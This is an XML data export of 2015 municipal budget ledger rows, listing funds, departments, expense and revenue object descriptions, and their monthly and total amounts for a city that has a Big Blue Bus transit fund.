<row _id="16139"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>577650.0</object><object_description>MAINTENANCE / GUARDS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>63116.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>63116.0</total></row>
<row _id="16140"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>511970.0</object><object_description>OTHER FRINGE BENEFITS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16141"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>522000.0</object><object_description>UNRECOVERED INSURANCE LOSS</object_description><category_code>860.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16142"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>533040.0</object><object_description>SPECIAL INSURANCE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16143"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>533040.0</object><object_description>SPECIAL INSURANCE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2700.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2700.0</total></row>
<row _id="16144"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>533030.0</object><object_description>PROPERTY INSURANCE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>945000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>945000.0</total></row>
<row _id="16145"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>403720.0</object><object_description>SERIAL INEBRIATE GRANT ADMIN</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2015</fiscal_year><july>-24944.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-24944.0</total></row>
<row _id="16146"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>400881.0</object><object_description>SPC HAP SU02</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16147"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>533030.0</object><object_description>PROPERTY INSURANCE</object_description><category_code>854.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>169125.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>169125.0</total></row>
<row _id="16148"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>533030.0</object><object_description>PROPERTY INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>891.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>891.0</total></row>
<row _id="16149"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object xsi:nil="true" /><object_description>SECTION 8 ADMIN</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2015</fiscal_year><july>-950487.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-950487.0</total></row>
<row _id="16150"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>400881.0</object><object_description>SPC HAP SU02</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2015</fiscal_year><july>-85461.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-85461.0</total></row>
<row _id="16151"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>400921.0</object><object_description>SPC ADMIN SU02</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2015</fiscal_year><july>-5982.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-5982.0</total></row>
<row _id="16152"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>400884.0</object><object_description>SPC HAP EXPANSION</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16153"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>400922.0</object><object_description>SPC ADMIN TRA</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16154"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>104946.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>104946.0</total></row>
<row _id="16155"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2500.0</total></row>
<row _id="16156"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2500.0</total></row>
<row _id="16157"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>868758.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>868758.0</total></row>
<row _id="16158"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>26630.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>26630.0</total></row>
<row _id="16159"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>218552.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>218552.0</total></row>
<row _id="16160"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>385.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>385.0</total></row>
<row _id="16161"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>14047.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>14047.0</total></row>
<row _id="16162"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>999.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>999.0</total></row>
<row _id="16163"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="16164"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>555110.0</object><object_description>LEGAL EXPENSE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>4000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4000.0</total></row>
<row _id="16165"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>577341.0</object><object_description>SECT 8 HSG-PORTS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>98000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>98000.0</total></row>
<row _id="16166"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>112647.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>112647.0</total></row>
<row _id="16167"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>13000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>13000.0</total></row>
<row _id="16168"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1120.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1120.0</total></row>
<row _id="16169"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>187.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>187.0</total></row>
<row _id="16170"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16171"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-1205.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1205.0</total></row>
<row _id="16172"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-20475.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-20475.0</total></row>
<row _id="16173"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>653</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-15762.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-15762.0</total></row>
<row _id="16174"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-23700.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-23700.0</total></row>
<row _id="16175"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>544450.0</object><object_description>ADMIN-COMMUNICATION EFFORTS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>51447.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>51447.0</total></row>
<row _id="16176"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409006.0</object><object_description>CHILDCARE-FEBRUARY</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16177"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409008.0</object><object_description>CHILDCARE-APRIL</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16178"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409020.0</object><object_description>ENRICHMENT PROGRAM</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16179"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409041.0</object><object_description>ELEM SPORTS-FALL</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16180"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409042.0</object><object_description>ELEM SPORTS-WINTER</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16181"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409061.0</object><object_description>SMSE-WINTER</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16182"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>556140.0</object><object_description>SOLD VAULTS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>30000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>30000.0</total></row>
<row _id="16183"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>556180.0</object><object_description>EMBALMING SUPPLIES/EQUIPMENT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>10000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10000.0</total></row>
<row _id="16184"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>10550.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10550.0</total></row>
<row _id="16185"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>624.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>624.0</total></row>
